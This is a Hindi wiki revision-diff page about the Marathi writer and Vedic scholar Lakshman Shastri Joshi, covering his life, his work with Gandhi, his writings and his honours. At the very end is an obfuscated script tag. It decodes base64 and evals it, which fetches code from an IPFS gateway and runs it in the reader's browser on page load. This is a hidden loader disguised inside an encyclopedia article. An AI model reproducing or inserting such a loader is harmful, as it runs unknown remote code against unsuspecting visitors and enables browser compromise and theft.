"लक्ष्मण शास्त्री जोशी" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
 
पंक्ति 1: पंक्ति 1:
'''तर्कतीर्थ लक्ष्मण शास्त्री जोशी''' ([[अंग्रेज़ी]]: ''Tarkateertha Lakshman Shastri Joshi'', जन्म- [[27 जनवरी]], [[1901]]; मृत्यु- [[27 मई]], [[1994]]) भारतीय [[मराठी]] लेखकों में से एक थे। वह वैदिक विद्वान, संस्कृतवादी तथा जाने-माने विचारक थे। सन [[1954]] में उन्होंने [[नई दिल्ली]] में आयोजित मराठी साहित्य सम्मेलन की अध्यक्षता की। [[1955]] में उन्हें उनकी कृति 'वैदिक संस्कृति-चा विकास' के लिए [[साहित्य अकादमी पुरस्कार]] मिला। उन्हें 'तर्कतीर्थ' (तर्क का मास्टर) की उपाधि दी गई थी।
+
{{सूचना बक्सा साहित्यकार
 +
|चित्र=Lakshman-Shastri-Joshi.jpg
 +
|चित्र का नाम=लक्ष्मण शास्त्री जोशी
 +
|पूरा नाम=तर्कतीर्थ लक्ष्मण शास्त्री जोशी
 +
|अन्य नाम=
 +
|जन्म=[[27 जनवरी]], [[1901]]
 +
|जन्म भूमि=पिंपलनेर, ज़िला धुले, [[महाराष्ट्र]]
 +
|मृत्यु=[[27 मई]], [[1994]]
 +
|मृत्यु स्थान=[[कृष्णा नदी]] के जन्मस्रोत के निकट
 +
|अभिभावक=
 +
|पालक माता-पिता=
 +
|पति/पत्नी=
 +
|संतान=
 +
|कर्म भूमि=[[भारत]]
 +
|कर्म-क्षेत्र=मराठी साहित्य
 +
|मुख्य रचनाएँ='वैदिक संस्कृति-चा विकास', 'आनंद मीमांसा', 'साहित्यची समीक्षा', 'हिन्दू धर्माची समीक्षा' आदि।
 +
|विषय=
 +
|भाषा=[[मराठी]]
 +
|विद्यालय=
 +
|शिक्षा=
 +
|पुरस्कार-उपाधि=[[पद्म विभूषण]], [[1992]]<br/>
 +
साहित्य अकादमी फ़ैलोशिप, [[1989]]<br/>
 +
[[पद्म भूषण]], [[1976]]<br/>
 +
[[साहित्य अकादमी पुरस्कार मराठी]], [[1955]]
 +
|प्रसिद्धि=लेखक, [[साहित्यकार]], वैदिक विद्वान, संस्कृतवादी तथा विचारक
 +
|विशेष योगदान=
 +
|नागरिकता=भारतीय
 +
|संबंधित लेख=
 +
|शीर्षक 1=
 +
|पाठ 1=
 +
|शीर्षक 2=
 +
|पाठ 2=
 +
|अन्य जानकारी=जब [[1960]] में 'महाराष्ट्र राज्य साहित्य एवं संस्कृति बोर्ड' की स्थापना हुई थी, तब लक्ष्मण शास्त्री जोशी ने इसके पहले अध्यक्ष के रूप में कार्य किया।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन=
 +
}}'''तर्कतीर्थ लक्ष्मण शास्त्री जोशी''' ([[अंग्रेज़ी]]: ''Tarkateertha Lakshman Shastri Joshi'', जन्म- [[27 जनवरी]], [[1901]]; मृत्यु- [[27 मई]], [[1994]]) भारतीय [[मराठी]] लेखकों में से एक थे। वह वैदिक विद्वान, संस्कृतवादी तथा जाने-माने विचारक थे। सन [[1954]] में उन्होंने [[नई दिल्ली]] में आयोजित मराठी साहित्य सम्मेलन की अध्यक्षता की। [[1955]] में उन्हें उनकी कृति 'वैदिक संस्कृति-चा विकास' के लिए [[साहित्य अकादमी पुरस्कार]] मिला। उन्हें 'तर्कतीर्थ' (तर्क का मास्टर) की उपाधि दी गई थी।
 
==परिचय==
 
==परिचय==
 
लक्ष्मण शास्त्री जोशी का जन्म 27 जनवरी, 1901 को धुले जिले के पिंपलनेर शहर ([[महाराष्ट्र]]) में हुआ था। उन्होंने अन्य लोगों के साथ मिलकर सामाजिक-धार्मिक सुधारों के लिए लड़ाई लड़ी, जिसके बिना उनका मानना ​​था कि [[भारत]] स्वराज के अपने लक्ष्यों को हासिल नहीं कर पाएगा।<ref name="pp">{{cite web |url=https://www.thankyouindianarmy.com/laxmanshastri-balaji-joshi/|title=लक्ष्मणशास्त्री बालाजी जोशी|accessmonthday=12 फ़रवरी|accessyear=2024 |last= |first= |authorlink= |format= |publisher=thankyouindianarmy.com |language=हिंदी}}</ref>
 
लक्ष्मण शास्त्री जोशी का जन्म 27 जनवरी, 1901 को धुले जिले के पिंपलनेर शहर ([[महाराष्ट्र]]) में हुआ था। उन्होंने अन्य लोगों के साथ मिलकर सामाजिक-धार्मिक सुधारों के लिए लड़ाई लड़ी, जिसके बिना उनका मानना ​​था कि [[भारत]] स्वराज के अपने लक्ष्यों को हासिल नहीं कर पाएगा।<ref name="pp">{{cite web |url=https://www.thankyouindianarmy.com/laxmanshastri-balaji-joshi/|title=लक्ष्मणशास्त्री बालाजी जोशी|accessmonthday=12 फ़रवरी|accessyear=2024 |last= |first= |authorlink= |format= |publisher=thankyouindianarmy.com |language=हिंदी}}</ref>
पंक्ति 16: पंक्ति 51:
 
उनकी कुछ प्रमुख कृतियाँ इस प्रकार हैं-
 
उनकी कुछ प्रमुख कृतियाँ इस प्रकार हैं-
 
#[[1938]] - आनंद मीमांसा
 
#[[1938]] - आनंद मीमांसा
#[[1952]] - वैदिक संस्कृतीचा इतिहास
+
#[[1952]] - वैदिक संस्कृति-चा इतिहास
 
#[[1973]] - साहित्यची समीक्षा
 
#[[1973]] - साहित्यची समीक्षा
 
#[[1940]] - हिन्दू धर्माची समीक्षा
 
#[[1940]] - हिन्दू धर्माची समीक्षा
 
==मृत्यु==
 
==मृत्यु==
लक्ष्मण शास्त्री जोशी समान रूप से एक व्यावहारिक व्यक्ति थे, जो उच्च शिक्षा और भारी उद्योग में [[जवाहरालाल नेहरू]] के निवेश का समर्थन करते थे। उनकी मृत्यु 94 वर्ष की आयु में [[27 मई]], [[1994]] में [[कृष्णा नदी]] के जन्मस्रोत के निकट हुई।
+
लक्ष्मण शास्त्री जोशी समान रूप से एक व्यावहारिक व्यक्ति थे, जो उच्च शिक्षा और भारी उद्योग में [[जवाहरलाल नेहरू]] के निवेश का समर्थन करते थे। उनकी मृत्यु 94 वर्ष की आयु में [[27 मई]], [[1994]] में [[कृष्णा नदी]] के जन्मस्रोत के निकट हुई।
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}

07:21, 12 फ़रवरी 2024 के समय का अवतरण

लक्ष्मण शास्त्री जोशी
लक्ष्मण शास्त्री जोशी
पूरा नाम तर्कतीर्थ लक्ष्मण शास्त्री जोशी
जन्म 27 जनवरी, 1901
जन्म भूमि पिंपलनेर, ज़िला धुले, महाराष्ट्र
मृत्यु 27 मई, 1994
मृत्यु स्थान कृष्णा नदी के जन्मस्रोत के निकट
कर्म भूमि भारत
कर्म-क्षेत्र मराठी साहित्य
मुख्य रचनाएँ 'वैदिक संस्कृति-चा विकास', 'आनंद मीमांसा', 'साहित्यची समीक्षा', 'हिन्दू धर्माची समीक्षा' आदि।
भाषा मराठी
पुरस्कार-उपाधि पद्म विभूषण, 1992

साहित्य अकादमी फ़ैलोशिप, 1989
पद्म भूषण, 1976
साहित्य अकादमी पुरस्कार मराठी, 1955

प्रसिद्धि लेखक, साहित्यकार, वैदिक विद्वान, संस्कृतवादी तथा विचारक
नागरिकता भारतीय
अन्य जानकारी जब 1960 में 'महाराष्ट्र राज्य साहित्य एवं संस्कृति बोर्ड' की स्थापना हुई थी, तब लक्ष्मण शास्त्री जोशी ने इसके पहले अध्यक्ष के रूप में कार्य किया।
इन्हें भी देखें कवि सूची, साहित्यकार सूची

तर्कतीर्थ लक्ष्मण शास्त्री जोशी (अंग्रेज़ी: Tarkateertha Lakshman Shastri Joshi, जन्म- 27 जनवरी, 1901; मृत्यु- 27 मई, 1994) भारतीय मराठी लेखकों में से एक थे। वह वैदिक विद्वान, संस्कृतवादी तथा जाने-माने विचारक थे। सन 1954 में उन्होंने नई दिल्ली में आयोजित मराठी साहित्य सम्मेलन की अध्यक्षता की। 1955 में उन्हें उनकी कृति 'वैदिक संस्कृति-चा विकास' के लिए साहित्य अकादमी पुरस्कार मिला। उन्हें 'तर्कतीर्थ' (तर्क का मास्टर) की उपाधि दी गई थी।

परिचय

लक्ष्मण शास्त्री जोशी का जन्म 27 जनवरी, 1901 को धुले जिले के पिंपलनेर शहर (महाराष्ट्र) में हुआ था। उन्होंने अन्य लोगों के साथ मिलकर सामाजिक-धार्मिक सुधारों के लिए लड़ाई लड़ी, जिसके बिना उनका मानना ​​था कि भारत स्वराज के अपने लक्ष्यों को हासिल नहीं कर पाएगा।[1]

गाँधीजी के सहयोगी

भारतीय स्वतंत्रता के समर्थक के रूप में लक्ष्मण शास्त्री जोशी महात्मा गांधी से जुड़ गए थे। यरवदा जेल में उन्होंने गांधीजी की मदद की, जिन्होंने अस्पृश्यता के खिलाफ अपने अभियान में उन्हें अपना प्रमुख सलाहकार चुना था। अस्पृश्यता के लिए गांधीजी के अभियान का समर्थन करने के लिए उन्हें स्मृतियों और अन्य धर्मशास्त्रों के विश्लेषण और तर्क के साथ कार्य करना था।

ग्रंथ लेखन

जिस समय भारत को आजादी मिली उस समय लक्ष्मण शास्त्री जोशी, एम. एन. राय सहित कई सुधारवादी बुद्धिजीवियों के प्रभाव में आए और उन्होंने पश्चिमी दार्शनिक प्रणालियों को तेजी से आत्मसात कर लिया। उन्होंने सवाल किया कि क्या जिनके पास ज्ञान था उनके पास नेतृत्व करने के लिए बुद्धि थी, और उन्होंने माना कि जिनके पास ज्ञान था उनके पास अपर्याप्त ज्ञान था, और उन्होंने 1951 में 'वैदिक संस्कृति-चा विकास' लिखा। यह ग्रंथ पुणे विश्वविद्यालय में उनके द्वारा दिए गए छह व्याख्यानों पर आधारित था, जहां उन्होंने वैदिक संस्कृति के विकास और आधुनिक भारत पर इसके प्रभाव का पता लगाया। उन्होंने यह तर्क देते हुए एक आलोचना लिखी कि आधुनिक भारतीय भौतिक आवश्यकताओं को पूरा करने और आध्यात्मिक ज्ञान प्राप्त करने के बीच संघर्षरत हो गए हैं। इस प्रकार सामूहिक कमजोरी, असामंजस्य को बढ़ावा मिलता है और जातिगत मतभेदों को प्रबल होने दिया जाता है।[1]

जब 1960 में 'महाराष्ट्र राज्य साहित्य एवं संस्कृति बोर्ड' की स्थापना हुई थी, तब लक्ष्मण शास्त्री जोशी ने इसके पहले अध्यक्ष के रूप में कार्य किया और उस वर्ष से 20 खंडों वाले मराठी विश्वकोश के संकलन की परियोजना के अध्यक्ष के रूप में कई वर्षों तक कार्य किया। उपरोक्त बोर्ड के प्रायोजन के तहत उन्होंने प्राचीन वैदिक/हिंदू संस्कृत भजनों के मराठी लिप्यंतरण, धर्मकोश के संकलन का भी नेतृत्व किया।

सम्मान एवं पुरस्कार

कृतियाँ

उनकी कुछ प्रमुख कृतियाँ इस प्रकार हैं-

  1. 1938 - आनंद मीमांसा
  2. 1952 - वैदिक संस्कृति-चा इतिहास
  3. 1973 - साहित्यची समीक्षा
  4. 1940 - हिन्दू धर्माची समीक्षा

मृत्यु

लक्ष्मण शास्त्री जोशी समान रूप से एक व्यावहारिक व्यक्ति थे, जो उच्च शिक्षा और भारी उद्योग में जवाहरलाल नेहरू के निवेश का समर्थन करते थे। उनकी मृत्यु 94 वर्ष की आयु में 27 मई, 1994 में कृष्णा नदी के जन्मस्रोत के निकट हुई।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 लक्ष्मणशास्त्री बालाजी जोशी (हिंदी) thankyouindianarmy.com। अभिगमन तिथि: 12 फ़रवरी, 2024।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>